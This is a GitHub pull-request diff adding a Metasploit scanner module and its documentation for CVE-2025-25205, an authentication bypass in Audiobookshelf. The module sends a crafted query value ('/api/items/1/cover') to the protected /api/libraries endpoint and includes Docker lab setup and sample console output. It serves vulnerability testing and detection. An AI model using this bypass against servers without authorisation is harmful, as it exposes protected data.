Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
## Vulnerable Application

[Audiobookshelf](https://www.audiobookshelf.org/) is a self-hosted audiobook and
podcast server. Versions **2.17.0 through 2.19.0** are affected by
[CVE-2025-25205](https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw),
an unauthenticated authentication bypass.

The authentication middleware (`server/Auth.js`) decides whether a `GET` request
may skip authentication by testing unanchored regular expressions
(`/\/api\/items\/[^/]+\/cover/` and `/\/api\/authors\/[^/]+\/image/`) against
`req.originalUrl`, which includes the query string, instead of the normalized
`req.path`. An unauthenticated request to a protected API endpoint that appends a
query value containing one of those substrings — for example
`/api/libraries?r=/api/items/1/cover` — satisfies the "auth not needed" check
while Express still routes it to the protected handler. Depending on the endpoint
this leaks protected data, or returns an HTTP 500 where the handler dereferences
the now-undefined user object. The issue was fixed in **2.19.1** by anchoring the
patterns and matching `req.path`.

This module fingerprints the server and version through the unauthenticated
`/status` endpoint, then performs a differential check against the protected
`/api/libraries` endpoint: a baseline request that a server normally rejects with
HTTP 401, and a bypass request carrying the whitelisted substring. On a vulnerable
server the auth check is skipped and the bypass request is processed (HTTP 200, or
500 because the handler runs without a user); a patched server returns 401 to
both. The 500 is request-level and the server stays up. The module deliberately
avoids endpoints such as `/api/users` that crash the server process (the
denial-of-service half of this CVE).

### Setup with Docker

A vulnerable instance can be run with the official image pinned to a vulnerable
tag:

```
docker run -d --name abs-vuln -p 13378:80 ghcr.io/advplyr/audiobookshelf:2.19.0
```

Browse to `http://127.0.0.1:13378` and complete the initial root-user setup. This
is required: before initialization the server returns HTTP 500 to the protected
API. After setup, the bypass request to `/api/libraries` returns HTTP 500 on a
vulnerable server (the auth check is skipped and the handler runs without a user),
which the module treats as confirmation; the same request returns HTTP 401 on a
patched server.

To confirm the true-negative behavior, run a patched instance on a different port
and complete its setup the same way:

```
docker run -d --name abs-patched -p 13379:80 ghcr.io/advplyr/audiobookshelf:2.19.1
```

## Verification Steps

1. Start a vulnerable Audiobookshelf instance and complete its setup (see Setup with Docker)
1. Start `msfconsole`
1. Do: `use auxiliary/scanner/http/audiobookshelf_auth_bypass`
1. Do: `set RHOSTS <target>`
1. Do: `set RPORT 13378`
1. Do: `run`
1. The module reports the detected version and confirms the authentication bypass

## Options

### TARGETURI

The base path to the Audiobookshelf application. Defaults to `/`. Set this when
Audiobookshelf is served from a sub-path behind a reverse proxy.

## Scenarios

### Audiobookshelf 2.19.0 (vulnerable)

```
msf6 > use auxiliary/scanner/http/audiobookshelf_auth_bypass
msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > set RPORT 13378
RPORT => 13378
msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > run

[+] 127.0.0.1:13378 - Audiobookshelf 2.19.0 - unauthenticated API authentication bypass confirmed (CVE-2025-25205)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

### Audiobookshelf 2.19.1 (patched, true-negative)

```
msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > set RPORT 13379
RPORT => 13379
msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > run

[*] 127.0.0.1:13379 - Audiobookshelf 2.19.1 - not vulnerable (authentication enforced)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
145 changes: 145 additions & 0 deletions modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

# Affected range per the advisory: 2.17.0 <= version <= 2.19.0 (patched in 2.19.1).
VULNERABLE_MIN = Rex::Version.new('2.17.0')
PATCHED_VERSION = Rex::Version.new('2.19.1')

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Audiobookshelf Unauthenticated API Authentication Bypass Scanner',
'Description' => %q{
This module detects Audiobookshelf servers affected by CVE-2025-25205, an
unauthenticated authentication bypass. Affected versions (2.17.0 through
2.19.0) decide whether a GET request may skip authentication by testing an
unanchored regular expression against the request's full original URL,
including the query string, rather than the normalized path. By appending a
query parameter whose value contains a whitelisted substring such as
/api/items/1/cover, an unauthenticated client reaches protected API
endpoints.

The module fingerprints the server and version through the unauthenticated
/status endpoint, then sends two requests to the protected /api/libraries
endpoint: a baseline request that must be rejected with HTTP 401, and a
bypass request carrying the whitelisted substring in its query string. On a
vulnerable server the bypass request is processed instead of rejected, which
this module treats as confirmation. It deliberately avoids endpoints such as
/api/users that crash the server process (the denial-of-service half of this
CVE).
},
'Author' => [
'swiftbird07', # vulnerability discovery and advisory
'Kenneth LaCroix' # Metasploit module
],
'References' => [
['CVE', '2025-25205'],
['GHSA', 'pg8v-5jcv-wrvw'],
['URL', 'https://github.com/advplyr/audiobookshelf/commit/ec6537656925a43871b07cfee12c9f383844d224']
],
'DisclosureDate' => '2025-02-12',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => { 'RPORT' => 13_378, 'SSL' => false }
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Audiobookshelf', '/'])
]
)
end

# Fingerprint the target via the unauthenticated /status endpoint.
# Returns the reported server version string, or nil if this does not look
# like an Audiobookshelf instance.
def fingerprint_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
)
return nil unless res && res.code == 200

json = res.get_json_document
return nil unless json.is_a?(Hash) && json['app'].to_s.casecmp?('audiobookshelf')

json['serverVersion']
end

# Differential auth-bypass check against the protected /api/libraries endpoint:
# a baseline request must be rejected with HTTP 401, while the bypass request
# (carrying a whitelisted substring in its query) is processed instead of
# rejected. On a vulnerable server the bypass request reaches the handler, which
# returns 200 or 500 (the handler dereferences the now-undefined user); a patched
# server returns 401 to both.
def auth_bypassed?
baseline = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'libraries')
)
return false unless baseline && baseline.code == 401

bypass = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'libraries'),
'vars_get' => { 'r' => '/api/items/1/cover' }
)
return false unless bypass

bypass.code == 200 || (bypass.code >= 500 && bypass.code <= 599)
end

def check_host(_ip)
version = fingerprint_version
return Exploit::CheckCode::Unknown('Target does not appear to be Audiobookshelf') if version.nil?

return Exploit::CheckCode::Vulnerable("Audiobookshelf #{version} - authentication bypass confirmed") if auth_bypassed?

begin
parsed = Rex::Version.new(version)
if parsed >= VULNERABLE_MIN && parsed < PATCHED_VERSION
return Exploit::CheckCode::Appears("Audiobookshelf #{version} is in the affected range but the bypass was not confirmed")
end
rescue ArgumentError
# Unparsable version string; fall through to Safe with the raw value.
end

Exploit::CheckCode::Safe("Audiobookshelf #{version} - bypass not confirmed")
end

def run_host(_ip)
version = fingerprint_version
unless version
vprint_status("#{peer} - Target does not appear to be Audiobookshelf")
return
end
vprint_status("#{peer} - Audiobookshelf #{version} detected")

unless auth_bypassed?
print_status("#{peer} - Audiobookshelf #{version} - not vulnerable (authentication enforced)")
return
end

print_good("#{peer} - Audiobookshelf #{version} - unauthenticated API authentication bypass confirmed (CVE-2025-25205)")
report_vuln(
host: rhost,
port: rport,
name: name,
info: "Audiobookshelf #{version} unauthenticated API authentication bypass",
refs: references
)
end
end
Loading